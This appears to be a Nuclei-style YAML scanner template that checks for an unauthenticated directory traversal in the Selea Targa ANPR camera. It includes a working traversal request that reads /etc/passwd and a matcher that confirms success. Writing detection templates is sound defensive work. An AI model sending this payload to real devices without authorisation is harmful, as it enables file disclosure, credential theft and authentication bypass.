25 lines
1000 B
YAML
25 lines
1000 B
YAML
|
id: targa-camera-lfi
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: Selea Targa IP OCR-ANPR Camera - Unauthenticated Directory Traversal
|
||
|
|
author: gy741
|
||
|
|
severity: high
|
||
|
|
description: The ANPR camera suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the Download Archive in Storage page using get_file.php script is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks and aid the attacker to disclose clear-text credentials resulting in authentication bypass.
|
||
|
|
reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5616.php
|
||
|
tags: targa,lfi,iot
|
||
|
|
|
||
|
|
requests:
|
||
|
|
- method: GET
|
||
|
|
path:
|
||
|
|
- "{{BaseURL}}/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
|
||
|
|
|
||
|
|
matchers-condition: and
|
||
|
|
matchers:
|
||
|
|
|
||
|
|
- type: regex
|
||
|
|
regex:
|
||
|
|
- "root:.*:0:0"
|
||
|
|
|
||
|
|
- type: status
|
||
|
|
status:
|
||
|
|
- 200
|